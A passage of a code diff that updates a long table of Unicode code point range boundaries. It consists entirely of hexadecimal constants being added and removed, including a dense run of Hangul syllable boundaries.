 	0x30FB,
-	0x30FC,
+	0x30FF,
 	0x3100,
 	0x3105,
-	0x312E,
+	0x312F,
 	0x3131,
 	0x318F,
-	0x31A0,
+	0x3190,
 	0x31BB,
+	0x31C0,
+	0x31E4,
 	0x31F0,
 	0x3200,
-	0x3400,
-	0x4DB6,
+	0x321F,
+	0x3220,
+	0x3248,
+	0x3250,
+	0x32FF,
+	0x3300,
+	0x4DC0,
 	0x4E00,
-	0x9FD6,
-	0xA000,
+	0xA015,
+	0xA016,
 	0xA48D,
-	0xA4D0,
+	0xA490,
+	0xA4C7,
 	0xA4FE,
 	0xA500,
 	0xA60D,
+	0xA60E,
+	0xA60F,
 	0xA610,
-	0xA62C,
-	0xA640,
-	0xA670,
+	0xA620,
+	0xA62A,
+	0xA66F,
+	0xA673,
 	0xA674,
 	0xA67E,
-	0xA67F,
+	0xA69E,
+	0xA6A0,
+	0xA6F0,
 	0xA6F2,
-	0xA717,
-	0xA720,
-	0xA722,
-	0xA789,
-	0xA78B,
-	0xA7AF,
-	0xA7B0,
-	0xA7B8,
-	0xA7F7,
+	0xA6F3,
+	0xA6F8,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA823,
 	0xA828,
-	0xA840,
+	0xA838,
+	0xA839,
 	0xA874,
+	0xA876,
+	0xA878,
 	0xA880,
+	0xA882,
+	0xA8B4,
 	0xA8C6,
+	0xA8CE,
 	0xA8D0,
 	0xA8DA,
 	0xA8E0,
-	0xA8F8,
-	0xA8FB,
+	0xA8F2,
 	0xA8FC,
 	0xA8FD,
-	0xA8FE,
 	0xA900,
+	0xA90A,
+	0xA926,
 	0xA92E,
 	0xA930,
+	0xA947,
 	0xA954,
 	0xA960,
 	0xA97D,
 	0xA980,
+	0xA984,
+	0xA9B3,
 	0xA9C1,
-	0xA9CF,
+	0xA9C7,
+	0xA9CA,
+	0xA9D0,
 	0xA9DA,
-	0xA9E0,
-	0xA9FF,
-	0xAA00,
+	0xA9E5,
+	0xA9E6,
+	0xA9F0,
+	0xA9FA,
+	0xAA29,
 	0xAA37,
-	0xAA40,
+	0xAA43,
+	0xAA44,
+	0xAA4C,
 	0xAA4E,
 	0xAA50,
 	0xAA5A,
+	0xAA5D,
 	0xAA60,
-	0xAA77,
-	0xAA7A,
-	0xAAC3,
-	0xAADB,
-	0xAADE,
-	0xAAE0,
+	0xAA7B,
+	0xAA7E,
+	0xAAB0,
+	0xAAB1,
+	0xAAB2,
+	0xAAB5,
+	0xAAB7,
+	0xAAB9,
+	0xAABE,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xAAEB,
 	0xAAF0,
 	0xAAF2,
+	0xAAF5,
 	0xAAF7,
-	0xAB01,
-	0xAB07,
-	0xAB09,
-	0xAB0F,
-	0xAB11,
-	0xAB17,
-	0xAB20,
-	0xAB27,
-	0xAB28,
-	0xAB2F,
-	0xAB30,
-	0xAB5B,
-	0xAB5C,
-	0xAB66,
-	0xAB70,
+	0xABE3,
 	0xABEB,
 	0xABEC,
 	0xABEE,
@@ -6072,6 +38014,803 @@
 	0xABF0,
 	0xABFA,
 	0xAC00,
+	0xAC01,
+	0xAC1C,
+	0xAC1D,
+	0xAC38,
+	0xAC39,
+	0xAC54,
+	0xAC55,
+	0xAC70,
+	0xAC71,
+	0xAC8C,
+	0xAC8D,
+	0xACA8,
+	0xACA9,
+	0xACC4,
+	0xACC5,
+	0xACE0,
+	0xACE1,
+	0xACFC,
+	0xACFD,
+	0xAD18,
+	0xAD19,
+	0xAD34,
+	0xAD35,
+	0xAD50,
+	0xAD51,
+	0xAD6C,
+	0xAD6D,
+	0xAD88,
+	0xAD89,
+	0xADA4,
+	0xADA5,
+	0xADC0,
+	0xADC1,
+	0xADDC,
+	0xADDD,
+	0xADF8,
+	0xADF9,
+	0xAE14,
+	0xAE15,
+	0xAE30,
+	0xAE31,
+	0xAE4C,
+	0xAE4D,
+	0xAE68,
+	0xAE69,
+	0xAE84,
+	0xAE85,
+	0xAEA0,
+	0xAEA1,
+	0xAEBC,
+	0xAEBD,
+	0xAED8,
+	0xAED9,
+	0xAEF4,
+	0xAEF5,
+	0xAF10,
+	0xAF11,
+	0xAF2C,
+	0xAF2D,
+	0xAF48,
+	0xAF49,
+	0xAF64,
+	0xAF65,
+	0xAF80,
+	0xAF81,
+	0xAF9C,
+	0xAF9D,
+	0xAFB8,
+	0xAFB9,
+	0xAFD4,
+	0xAFD5,
+	0xAFF0,
+	0xAFF1,
+	0xB00C,
+	0xB00D,
+	0xB028,
+	0xB029,
+	0xB044,
+	0xB045,
+	0xB060,
+	0xB061,
+	0xB07C,
+	0xB07D,
+	0xB098,
+	0xB099,
+	0xB0B4,
+	0xB0B5,
+	0xB0D0,
+	0xB0D1,
+	0xB0EC,
+	0xB0ED,
+	0xB108,
+	0xB109,
+	0xB124,
+	0xB125,
+	0xB140,
+	0xB141,
+	0xB15C,
+	0xB15D,
+	0xB178,
+	0xB179,
+	0xB194,
+	0xB195,
+	0xB1B0,
+	0xB1B1,
+	0xB1CC,
+	0xB1CD,
+	0xB1E8,
+	0xB1E9,
+	0xB204,
+	0xB205,
+	0xB220,
+	0xB221,
+	0xB23C,
+	0xB23D,
+	0xB258,
+	0xB259,
+	0xB274,
+	0xB275,
+	0xB290,
+	0xB291,
+	0xB2AC,
+	0xB2AD,
+	0xB2C8,
+	0xB2C9,
+	0xB2E4,
+	0xB2E5,
+	0xB300,
+	0xB301,
+	0xB31C,
+	0xB31D,
+	0xB338,
+	0xB339,
+	0xB354,
+	0xB355,
+	0xB370,
+	0xB371,
+	0xB38C,
+	0xB38D,
+	0xB3A8,
+	0xB3A9,
+	0xB3C4,
+	0xB3C5,
+	0xB3E0,
+	0xB3E1,
+	0xB3FC,
+	0xB3FD,
+	0xB418,
+	0xB419,
+	0xB434,
+	0xB435,
+	0xB450,
+	0xB451,
+	0xB46C,
+	0xB46D,
+	0xB488,
+	0xB489,
+	0xB4A4,
+	0xB4A5,
+	0xB4C0,
+	0xB4C1,
+	0xB4DC,
+	0xB4DD,
+	0xB4F8,
+	0xB4F9,
+	0xB514,
+	0xB515,
+	0xB530,
+	0xB531,
+	0xB54C,
+	0xB54D,
+	0xB568,
+	0xB569,
+	0xB584,
+	0xB585,
+	0xB5A0,
+	0xB5A1,
+	0xB5BC,
+	0xB5BD,
+	0xB5D8,
+	0xB5D9,
+	0xB5F4,
+	0xB5F5,
+	0xB610,
+	0xB611,
+	0xB62C,
+	0xB62D,
+	0xB648,
+	0xB649,
+	0xB664,
+	0xB665,
+	0xB680,
+	0xB681,
+	0xB69C,
+	0xB69D,
+	0xB6B8,
+	0xB6B9,
+	0xB6D4,
+	0xB6D5,
+	0xB6F0,
+	0xB6F1,
+	0xB70C,
+	0xB70D,
+	0xB728,
+	0xB729,
+	0xB744,
+	0xB745,
+	0xB760,
+	0xB761,
+	0xB77C,
+	0xB77D,
+	0xB798,
+	0xB799,
+	0xB7B4,
+	0xB7B5,
+	0xB7D0,
+	0xB7D1,
+	0xB7EC,
+	0xB7ED,
+	0xB808,
+	0xB809,
+	0xB824,
+	0xB825,
+	0xB840,
+	0xB841,
+	0xB85C,
+	0xB85D,
+	0xB878,
+	0xB879,
+	0xB894,
+	0xB895,
+	0xB8B0,
+	0xB8B1,
+	0xB8CC,
+	0xB8CD,
+	0xB8E8,
+	0xB8E9,
+	0xB904,
+	0xB905,
+	0xB920,
+	0xB921,
+	0xB93C,
+	0xB93D,
+	0xB958,
+	0xB959,
+	0xB974,
+	0xB975,
+	0xB990,
+	0xB991,
+	0xB9AC,
+	0xB9AD,
+	0xB9C8,
+	0xB9C9,
+	0xB9E4,
+	0xB9E5,
+	0xBA00,
+	0xBA01,
+	0xBA1C,
+	0xBA1D,
+	0xBA38,
+	0xBA39,
+	0xBA54,
+	0xBA55,
+	0xBA70,
+	0xBA71,
+	0xBA8C,
+	0xBA8D,
+	0xBAA8,
+	0xBAA9,
+	0xBAC4,
+	0xBAC5,
+	0xBAE0,
+	0xBAE1,
+	0xBAFC,
+	0xBAFD,
+	0xBB18,
+	0xBB19,
+	0xBB34,
+	0xBB35,
+	0xBB50,
+	0xBB51,
+	0xBB6C,
+	0xBB6D,
+	0xBB88,
+	0xBB89,
+	0xBBA4,
+	0xBBA5,
+	0xBBC0,
+	0xBBC1,
+	0xBBDC,
+	0xBBDD,
+	0xBBF8,
+	0xBBF9,
+	0xBC14,
+	0xBC15,
+	0xBC30,
+	0xBC31,
+	0xBC4C,
+	0xBC4D,
+	0xBC68,
+	0xBC69,
+	0xBC84,
+	0xBC85,
+	0xBCA0,
+	0xBCA1,
+	0xBCBC,
+	0xBCBD,
+	0xBCD8,
+	0xBCD9,
+	0xBCF4,
+	0xBCF5,
+	0xBD10,
+	0xBD11,
+	0xBD2C,
+	0xBD2D,
+	0xBD48,
+	0xBD49,
+	0xBD64,
+	0xBD65,
+	0xBD80,
+	0xBD81,
+	0xBD9C,
+	0xBD9D,
+	0xBDB8,
+	0xBDB9,
+	0xBDD4,
+	0xBDD5,
+	0xBDF0,
+	0xBDF1,
+	0xBE0C,
+	0xBE0D,
+	0xBE28,
+	0xBE29,
+	0xBE44,
+	0xBE45,
+	0xBE60,
+	0xBE61,
+	0xBE7C,
+	0xBE7D,
+	0xBE98,
+	0xBE99,
+	0xBEB4,
+	0xBEB5,
+	0xBED0,
+	0xBED1,
+	0xBEEC,
+	0xBEED,
+	0xBF08,
+	0xBF09,
+	0xBF24,
+	0xBF25,
+	0xBF40,
+	0xBF41,
+	0xBF5C,
+	0xBF5D,
+	0xBF78,
+	0xBF79,
+	0xBF94,
+	0xBF95,
+	0xBFB0,
+	0xBFB1,
+	0xBFCC,
+	0xBFCD,
+	0xBFE8,
+	0xBFE9,
+	0xC004,
+	0xC005,
+	0xC020,
+	0xC021,
+	0xC03C,
+	0xC03D,
+	0xC058,
+	0xC059,
+	0xC074,
+	0xC075,
+	0xC090,
+	0xC091,
+	0xC0AC,
+	0xC0AD,
+	0xC0C8,
+	0xC0C9,
+	0xC0E4,
+	0xC0E5,
+	0xC100,
+	0xC101,
+	0xC11C,
+	0xC11D,
+	0xC138,
+	0xC139,
+	0xC154,
+	0xC155,
+	0xC170,
+	0xC171,
+	0xC18C,
+	0xC18D,
+	0xC1A8,
+	0xC1A9,
+	0xC1C4,
+	0xC1C5,
+	0xC1E0,
+	0xC1E1,
+	0xC1FC,
+	0xC1FD,
+	0xC218,
+	0xC219,
+	0xC234,
+	0xC235,
+	0xC250,
+	0xC251,
+	0xC26C,
+	0xC26D,
+	0xC288,
+	0xC289,
+	0xC2A4,
+	0xC2A5,
+	0xC2C0,
+	0xC2C1,
+	0xC2DC,
+	0xC2DD,
+	0xC2F8,
+	0xC2F9,
+	0xC314,
+	0xC315,
+	0xC330,
+	0xC331,
+	0xC34C,
+	0xC34D,
+	0xC368,
+	0xC369,
+	0xC384,
+	0xC385,
+	0xC3A0,
+	0xC3A1,
+	0xC3BC,
+	0xC3BD,
+	0xC3D8,
+	0xC3D9,
+	0xC3F4,
+	0xC3F5,
+	0xC410,
+	0xC411,
+	0xC42C,
+	0xC42D,
+	0xC448,
+	0xC449,
+	0xC464,
+	0xC465,
+	0xC480,
+	0xC481,
+	0xC49C,
+	0xC49D,
+	0xC4B8,
+	0xC4B9,
+	0xC4D4,
+	0xC4D5,
+	0xC4F0,
+	0xC4F1,
+	0xC50C,
+	0xC50D,
+	0xC528,
+	0xC529,
+	0xC544,
+	0xC545,
+	0xC560,
+	0xC561,
+	0xC57C,
+	0xC57D,
+	0xC598,
+	0xC599,
+	0xC5B4,
+	0xC5B5,
+	0xC5D0,
+	0xC5D1,
+	0xC5EC,
+	0xC5ED,
+	0xC608,
+	0xC609,
+	0xC624,
+	0xC625,
+	0xC640,
+	0xC641,
+	0xC65C,
+	0xC65D,
+	0xC678,
+	0xC679,
+	0xC694,
+	0xC695,
+	0xC6B0,
+	0xC6B1,
+	0xC6CC,
+	0xC6CD,
+	0xC6E8,
+	0xC6E9,
+	0xC704,
+	0xC705,
+	0xC720,
+	0xC721,
+	0xC73C,
+	0xC73D,
+	0xC758,
+	0xC759,
+	0xC774,
+	0xC775,
+	0xC790,
+	0xC791,
+	0xC7AC,
+	0xC7AD,
+	0xC7C8,
+	0xC7C9,
+	0xC7E4,
+	0xC7E5,
+	0xC800,
+	0xC801,
+	0xC81C,
+	0xC81D,
+	0xC838,
+	0xC839,
+	0xC854,
+	0xC855,
+	0xC870,
+	0xC871,
+	0xC88C,
+	0xC88D,
+	0xC8A8,
+	0xC8A9,
+	0xC8C4,
+	0xC8C5,
+	0xC8E0,
+	0xC8E1,
+	0xC8FC,
+	0xC8FD,
+	0xC918,
+	0xC919,
+	0xC934,
+	0xC935,
+	0xC950,
+	0xC951,
+	0xC96C,
+	0xC96D,
+	0xC988,
+	0xC989,
+	0xC9A4,
+	0xC9A5,
+	0xC9C0,
+	0xC9C1,
+	0xC9DC,
+	0xC9DD,
+	0xC9F8,
+	0xC9F9,
+	0xCA14,
+	0xCA15,
+	0xCA30,
+	0xCA31,
+	0xCA4C,
+	0xCA4D,
+	0xCA68,
+	0xCA69,
+	0xCA84,
+	0xCA85,
+	0xCAA0,
+	0xCAA1,
+	0xCABC,
+	0xCABD,
+	0xCAD8,
+	0xCAD9,
+	0xCAF4,
+	0xCAF5,
+	0xCB10,
+	0xCB11,
+	0xCB2C,
+	0xCB2D,
+	0xCB48,
+	0xCB49,
+	0xCB64,
+	0xCB65,
+	0xCB80,
+	0xCB81,
+	0xCB9C,
+	0xCB9D,
+	0xCBB8,
+	0xCBB9,
+	0xCBD4,
+	0xCBD5,
+	0xCBF0,
+	0xCBF1,
+	0xCC0C,
+	0xCC0D,
+	0xCC28,
+	0xCC29,
+	0xCC44,
+	0xCC45,
+	0xCC60,
+	0xCC61,
+	0xCC7C,
+	0xCC7D,
+	0xCC98,
+	0xCC99,
+	0xCCB4,
+	0xCCB5,
+	0xCCD0,
+	0xCCD1,
+	0xCCEC,
+	0xCCED,
+	0xCD08,
+	0xCD09,
+	0xCD24,
+	0xCD25,
+	0xCD40,
+	0xCD41,
+	0xCD5C,
+	0xCD5D,
+	0xCD78,
+	0xCD79,
+	0xCD94,
+	0xCD95,
+	0xCDB0,
+	0xCDB1,
+	0xCDCC,
+	0xCDCD,
+	0xCDE8,
+	0xCDE9,
+	0xCE04,
+	0xCE05,
+	0xCE20,
+	0xCE21,
+	0xCE3C,
+	0xCE3D,
+	0xCE58,
+	0xCE59,
+	0xCE74,
+	0xCE75,
+	0xCE90,
+	0xCE91,
+	0xCEAC,
+	0xCEAD,
+	0xCEC8,
+	0xCEC9,
+	0xCEE4,
+	0xCEE5,
+	0xCF00,
+	0xCF01,
+	0xCF1C,
+	0xCF1D,
+	0xCF38,
+	0xCF39,
+	0xCF54,
+	0xCF55,
+	0xCF70,
+	0xCF71,
+	0xCF8C,
+	0xCF8D,
+	0xCFA8,
+	0xCFA9,
+	0xCFC4,
+	0xCFC5,
+	0xCFE0,
+	0xCFE1,
+	0xCFFC,
+	0xCFFD,
+	0xD018,
+	0xD019,
+	0xD034,
+	0xD035,
+	0xD050,
+	0xD051,
+	0xD06C,
+	0xD06D,
+	0xD088,
+	0xD089,
+	0xD0A4,
+	0xD0A5,
+	0xD0C0,
+	0xD0C1,
+	0xD0DC,
+	0xD0DD,
+	0xD0F8,
+	0xD0F9,
+	0xD114,
+	0xD115,
+	0xD130,
+	0xD131,
+	0xD14C,
+	0xD14D,
+	0xD168,
+	0xD169,
+	0xD184,
+	0xD185,
+	0xD1A0,
+	0xD1A1,
+	0xD1BC,
+	0xD1BD,
+	0xD1D8,
+	0xD1D9,
+	0xD1F4,
+	0xD1F5,
+	0xD210,
+	0xD211,
+	0xD22C,
+	0xD22D,
+	0xD248,
+	0xD249,
+	0xD264,
+	0xD265,
+	0xD280,
+	0xD281,
+	0xD29C,
+	0xD29D,
+	0xD2B8,
+	0xD2B9,
+	0xD2D4,
+	0xD2D5,
+	0xD2F0,
+	0xD2F1,
+	0xD30C,
+	0xD30D,
+	0xD328,
+	0xD329,
+	0xD344,
+	0xD345,
+	0xD360,
+	0xD361,
+	0xD37C,
+	0xD37D,
+	0xD398,
+	0xD399,
+	0xD3B4,
+	0xD3B5,
+	0xD3D0,
+	0xD3D1,
+	0xD3EC,
+	0xD3ED,
+	0xD408,
+	0xD409,
+	0xD424,
+	0xD425,
+	0xD440,
+	0xD441,
+	0xD45C,
+	0xD45D,
+	0xD478,
+	0xD479,
+	0xD494,
+	0xD495,
+	0xD4B0,
+	0xD4B1,
+	0xD4CC,
+	0xD4CD,
+	0xD4E8,
+	0xD4E9,
+	0xD504,
+	0xD505,
+	0xD520,
+	0xD521,
+	0xD53C,
+	0xD53D,
+	0xD558,
+	0xD559,
+	0xD574,
+	0xD575,
+	0xD590,
+	0xD591,
+	0xD5AC,
+	0xD5AD,
+	0xD5C8,
+	0xD5C9,
+	0xD5E4,
+	0xD5E5,
+	0xD600,
+	0xD601,
+	0xD61C,
+	0xD61D,
+	0xD638,
+	0xD639,
+	0xD654,
+	0xD655,
+	0xD670,
+	0xD671,
+	0xD68C,
+	0xD68D,
+	0xD6A8,
+	0xD6A9,
+	0xD6C4,
+	0xD6C5,
+	0xD6E0,
+	0xD6E1,
+	0xD6FC,
+	0xD6FD,
+	0xD718,
+	0xD719,
+	0xD734,
+	0xD735,
+	0xD750,
+	0xD751,
+	0xD76C,
+	0xD76D,
+	0xD788,
+	0xD789,
 	0xD7A4,
 	0xD7B0,
 	0xD7C7,
@@ -6078,14 +38817,10 @@
 	0xD7CB,
 	0xD7FC,
 	0xF900,
-	0xFA6E,
-	0xFA70,
-	0xFADA,
 	0xFB00,
-	0xFB07,
-	0xFB13,
-	0xFB18,
 	0xFB1D,
+	0xFB1E,
+	0xFB1F,
 	0xFB29,
 	0xFB2A,
 	0xFB37,
@@ -6098,48 +38833,99 @@
 	0xFB43,
 	0xFB45,
 	0xFB46,
-	0xFBB2,
-	0xFBD3,
-	0xFC5E,
-	0xFC64,
+	0xFB50,
 	0xFD3E,
-	0xFD50,
-	0xFD90,
-	0xFD92,
-	0xFDC8,
-	0xFDF0,
-	0xFDFA,
+	0xFD3F,
+	0xFD40,
+	0xFDFC,
+	0xFDFD,
 	0xFE00,
 	0xFE10,
+	0xFE11,
+	0xFE13,
+	0xFE15,
+	0xFE17,
+	0xFE18,
+	0xFE19,
+	0xFE1A,
 	0xFE20,
 	0xFE30,
-	0xFE33,
 	0xFE35,
-	0xFE4D,
+	0xFE36,
+	0xFE37,
+	0xFE38,
+	0xFE39,
+	0xFE3A,
+	0xFE3B,
+	0xFE3C,
+	0xFE3D,
+	0xFE3E,
+	0xFE3F,
+	0xFE40,
+	0xFE41,
+	0xFE42,
+	0xFE43,
+	0xFE44,
+	0xFE45,
+	0xFE47,
+	0xFE48,
+	0xFE49,
 	0xFE50,
-	0xFE71,
-	0xFE72,
-	0xFE73,
-	0xFE74,
-	0xFE77,
-	0xFE78,
-	0xFE79,
-	0xFE7A,
-	0xFE7B,
-	0xFE7C,
-	0xFE7D,
-	0xFE7E,
-	0xFE7F,
-	0xFEFD,
-	0xFF10,
+	0xFE51,
+	0xFE52,
+	0xFE53,
+	0xFE54,
+	0xFE56,
+	0xFE58,
+	0xFE59,
+	0xFE5A,
+	0xFE5B,
+	0xFE5C,
+	0xFE5D,
+	0xFE5E,
+	0xFE5F,
+	0xFE67,
+	0xFE68,
+	0xFE69,
+	0xFE6A,
+	0xFE6B,
+	0xFE6C,
+	0xFEFF,
+	0xFF00,
+	0xFF01,
+	0xFF02,
+	0xFF04,
+	0xFF05,
+	0xFF06,
+	0xFF08,
+	0xFF09,
+	0xFF0A,
+	0xFF0C,
+	0xFF0D,
+	0xFF0E,
+	0xFF0F,
 	0xFF1A,
-	0xFF21,
+	0xFF1C,
+	0xFF1F,
+	0xFF20,
 	0xFF3B,
-	0xFF3F,
-	0xFF40,
-	0xFF41,
+	0xFF3C,
+	0xFF3D,
+	0xFF3E,
 	0xFF5B,
+	0xFF5C,
+	0xFF5D,
+	0xFF5E,
+	0xFF5F,
+	0xFF60,
+	0xFF62,
+	0xFF63,
+	0xFF65,
 	0xFF66,
+	0xFF67,
+	0xFF71,
+	0xFF9E,
+	0xFFA0,
 	0xFFBF,
 	0xFFC2,
 	0xFFC8,
@@ -6149,313 +38935,266 @@
 	0xFFD8,
 	0xFFDA,
 	0xFFDD,
-	0x10000,
-	0x1000C,
-	0x1000D,
-	0x10027,
-	0x10028,
-	0x1003B,
-	0x1003C,
-	0x1003E,
-	0x1003F,
-	0x1004E,
-	0x10050,
-	0x1005E,
-	0x10080,
-	0x100FB,
-	0x10140,
-	0x10175,
+	0xFFE0,
+	0xFFE1,
+	0xFFE2,
+	0xFFE5,
+	0xFFE7,
+	0xFFF9,
+	0xFFFC,
+	0xFFFD,
+	0x10100,
+	0x10103,
 	0x101FD,
 	0x101FE,
-	0x10280,
-	0x1029D,
-	0x102A0,
-	0x102D1,
 	0x102E0,
 	0x102E1,
-	0x10300,
-	0x10320,
-	0x10330,
-	0x1034B,
-	0x10350,
+	0x10376,
 	0x1037B,
-	0x10380,
-	0x1039E,
+	0x1039F,
 	0x103A0,
-	0x103C4,
-	0x103C8,
 	0x103D0,
 	0x103D1,
-	0x103D6,
-	0x10400,
-	0x1049E,
 	0x104A0,
 	0x104AA,
-	0x104B0,
-	0x104D4,
-	0x104D8,
-	0x104FC,
-	0x10500,
-	0x10528,
-	0x10530,
-	0x10564,
-	0x10600,
-	0x10737,
-	0x10740,
-	0x10756,
-	0x10760,
-	0x10768,
-	0x10800,
-	0x10806,
-	0x10808,
-	0x10809,
-	0x1080A,
-	0x10836,
-	0x10837,
-	0x10839,
-	0x1083C,
-	0x1083D,
-	0x1083F,
-	0x10856,
-	0x10860,
-	0x10877,
-	0x10880,
-	0x1089F,
-	0x108E0,
-	0x108F3,
-	0x108F4,
-	0x108F6,
-	0x10900,
-	0x10916,
+	0x10857,
+	0x10858,
+	0x1091F,
 	0x10920,
-	0x1093A,
-	0x10980,
-	0x109B8,
-	0x109BE,
-	0x109C0,
-	0x10A00,
+	0x10A01,
 	0x10A04,
 	0x10A05,
 	0x10A07,
 	0x10A0C,
-	0x10A14,
-	0x10A15,
-	0x10A18,
-	0x10A19,
-	0x10A34,
+	0x10A10,
 	0x10A38,
 	0x10A3B,
 	0x10A3F,
 	0x10A40,
-	0x10A60,
-	0x10A7D,
-	0x10A80,
-	0x10A9D,
-	0x10AC0,
-	0x10AC8,
-	0x10AC9,
+	0x10A50,
+	0x10A58,
+	0x10AE5,
 	0x10AE7,
-	0x10B00,
-	0x10B36,
+	0x10AF0,
+	0x10AF6,
+	0x10AF7,
+	0x10B39,
 	0x10B40,
-	0x10B56,
-	0x10B60,
-	0x10B73,
-	0x10B80,
-	0x10B92,
-	0x10C00,
-	0x10C49,
-	0x10C80,
-	0x10CB3,
-	0x10CC0,
-	0x10CF3,
 	0x11000,
+	0x11003,
+	0x11038,
 	0x11047,
+	0x11049,
 	0x11066,
 	0x11070,
 	0x1107F,
+	0x11083,
+	0x110B0,
 	0x110BB,
-	0x110D0,
-	0x110E9,
+	0x110BE,
+	0x110C2,
 	0x110F0,
 	0x110FA,
 	0x11100,
+	0x11103,
+	0x11127,
 	0x11135,
 	0x11136,
 	0x11140,
-	0x11150,
+	0x11144,
+	0x11173,
 	0x11174,
+	0x11175,
 	0x11176,
-	0x11177,
 	0x11180,
+	0x11183,
+	0x111B3,
+	0x111C1,
 	0x111C5,
+	0x111C7,
+	0x111C8,
+	0x111C9,
 	0x111CA,
 	0x111CD,
 	0x111D0,
+	0x111DA,
 	0x111DB,
 	0x111DC,
 	0x111DD,
-	0x11200,
-	0x11212,
-	0x11213,
+	0x111E0,
+	0x1122C,
 	0x11238,
+	0x1123A,
+	0x1123B,
+	0x1123D,
 	0x1123E,
 	0x1123F,
-	0x11280,
-	0x11287,
-	0x11288,
-	0x11289,
-	0x1128A,
-	0x1128E,
-	0x1128F,
-	0x1129E,
-	0x1129F,
 	0x112A9,
-	0x112B0,
+	0x112AA,
+	0x112DF,
 	0x112EB,
 	0x112F0,
 	0x112FA,
 	0x11300,
 	0x11304,
-	0x11305,
-	0x1130D,
-	0x1130F,
-	0x11311,
-	0x11313,
-	0x11329,
-	0x1132A,
-	0x11331,
-	0x11332,
-	0x11334,
-	0x11335,
-	0x1133A,
 	0x1133C,
+	0x1133D,
+	0x1133E,
 	0x11345,
 	0x11347,
 	0x11349,
 	0x1134B,
 	0x1134E,
-	0x11350,
-	0x11351,
 	0x11357,
 	0x11358,
-	0x1135D,
+	0x11362,
 	0x11364,
 	0x11366,
 	0x1136D,
 	0x11370,
 	0x11375,
-	0x11400,
+	0x11435,
+	0x11447,
 	0x1144B,
+	0x1144F,
 	0x11450,
 	0x1145A,
-	0x11480,
-	0x114C6,
-	0x114C7,
-	0x114C8,
+	0x1145B,
+	0x1145C,
+	0x114B0,
+	0x114C4,
 	0x114D0,
 	0x114DA,
-	0x11580,
+	0x115AF,
 	0x115B6,
 	0x115B8,
 	0x115C1,
+	0x115C2,
+	0x115C4,
+	0x115C6,
+	0x115C9,
 	0x115D8,
+	0x115DC,
 	0x115DE,
-	0x11600,
+	0x11630,
 	0x11641,
-	0x11644,
-	0x11645,
+	0x11643,
 	0x11650,
 	0x1165A,
-	0x11680,
+	0x11660,
+	0x1166D,
+	0x116AB,
 	0x116B8,
 	0x116C0,
 	0x116CA,
-	0x11700,
-	0x1171A,
 	0x1171D,
 	0x1172C,
 	0x11730,
 	0x1173A,
-	0x118A0,
+	0x1173C,
+	0x1173F,
+	0x118E0,
 	0x118EA,
-	0x118FF,
-	0x11900,
-	0x11AC0,
-	0x11AF9,
-	0x11C00,
-	0x11C09,
-	0x11C0A,
+	0x11A01,
+	0x11A0B,
+	0x11A33,
+	0x11A3A,
+	0x11A3B,
+	0x11A3F,
+	0x11A40,
+	0x11A41,
+	0x11A45,
+	0x11A46,
+	0x11A47,
+	0x11A48,
+	0x11A51,
+	0x11A5C,
+	0x11A8A,
+	0x11A9A,
+	0x11A9D,
+	0x11A9E,
+	0x11AA1,
+	0x11AA3,
+	0x11C2F,
 	0x11C37,
 	0x11C38,
+	0x11C40,
 	0x11C41,
+	0x11C46,
 	0x11C50,
 	0x11C5A,
+	0x11C70,
+	0x11C71,
 	0x11C72,
-	0x11C90,
 	0x11C92,
 	0x11CA8,
 	0x11CA9,
 	0x11CB7,
-	0x12000,
-	0x1239A,
-	0x12400,
-	0x1246F,
-	0x12480,
-	0x12544,
-	0x13000,
-	0x1342F,
-	0x14400,
-	0x14647,
-	0x16800,
-	0x16A39,
-	0x16A40,
-	0x16A5F,
+	0x11D31,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D46,
+	0x11D47,
+	0x11D48,
+	0x11D50,
+	0x11D5A,
+	0x12470,
+	0x12475,
+	0x13258,
+	0x1325B,
+	0x1325E,
+	0x13282,
+	0x13283,
+	0x13286,
+	0x13287,
+	0x13288,
+	0x13289,
+	0x1328A,
+	0x13379,
+	0x1337A,
+	0x1337C,
+	0x145CE,
+	0x145CF,
+	0x145D0,
 	0x16A60,
 	0x16A6A,
-	0x16AD0,
-	0x16AEE,
+	0x16A6E,
+	0x16A70,
 	0x16AF0,
 	0x16AF5,
-	0x16B00,
+	0x16AF6,
+	0x16B30,
 	0x16B37,
-	0x16B40,
+	0x16B3A,
 	0x16B44,
+	0x16B45,
 	0x16B50,
 	0x16B5A,
-	0x16B63,
-	0x16B78,
-	0x16B7D,
-	0x16B90,
-	0x16F00,
-	0x16F45,
-	0x16F50,
+	0x16F51,
 	0x16F7F,
 	0x16F8F,
-	0x16FA0,
+	0x16F93,
 	0x16FE0,
-	0x16FE1,
+	0x16FE2,
 	0x17000,
 	0x187ED,
 	0x18800,
 	0x18AF3,
 	0x1B000,
-	0x1B002,
-	0x1BC00,
-	0x1BC6B,
-	0x1BC70,
-	0x1BC7D,
-	0x1BC80,
-	0x1BC89,
-	0x1BC90,
-	0x1BC9A,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
 	0x1BC9D,
 	0x1BC9F,
+	0x1BCA0,
+	0x1BCA4,
 	0x1D165,
 	0x1D16A,
 	0x1D16D,
-	0x1D173,
-	0x1D17B,
 	0x1D183,
 	0x1D185,
 	0x1D18C,
@@ -6463,66 +39202,6 @@
 	0x1D1AE,
 	0x1D242,
 	0x1D245,
-	0x1D400,
-	0x1D455,
-	0x1D456,
-	0x1D49D,
-	0x1D49E,
-	0x1D4A0,
-	0x1D4A2,
-	0x1D4A3,
-	0x1D4A5,
-	0x1D4A7,
-	0x1D4A9,
-	0x1D4AD,
-	0x1D4AE,
-	0x1D4BA,
-	0x1D4BB,
-	0x1D4BC,
-	0x1D4BD,
-	0x1D4C4,
-	0x1D4C5,
-	0x1D506,
-	0x1D507,
-	0x1D50B,
-	0x1D50D,
-	0x1D515,
-	0x1D516,
-	0x1D51D,
-	0x1D51E,
-	0x1D53A,
-	0x1D53B,
-	0x1D53F,
-	0x1D540,
-	0x1D545,
-	0x1D546,
-	0x1D547,
-	0x1D54A,
-	0x1D551,
-	0x1D552,
-	0x1D6A6,
-	0x1D6A8,
-	0x1D6C1,
-	0x1D6C2,
-	0x1D6DB,
-	0x1D6DC,
-	0x1D6FB,
-	0x1D6FC,
-	0x1D715,
-	0x1D716,
-	0x1D735,
-	0x1D736,
-	0x1D74F,
-	0x1D750,
-	0x1D76F,
-	0x1D770,
-	0x1D789,
-	0x1D78A,
-	0x1D7A9,
-	0x1D7AA,
